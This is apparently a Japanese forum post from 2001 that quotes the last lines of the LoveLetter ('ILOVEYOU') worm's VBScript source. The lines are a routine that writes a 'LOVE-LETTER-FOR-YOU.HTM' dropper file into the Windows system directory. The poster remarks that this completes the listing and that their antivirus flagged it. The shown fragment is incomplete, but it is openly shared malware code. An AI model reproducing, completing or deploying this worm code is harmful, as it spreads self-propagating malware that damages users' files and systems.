> set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR- > YOU.HTM",2) > d.write dt5 > d.write join(lines,vbcrlf) > d.write vbcrlf > d.write dt6 > d.close > end sub これで全部な 漏れのアンチウィルスソフトがみらいに反応したよ(;´Д`) 参考:2001/01/24(水)20時25分23秒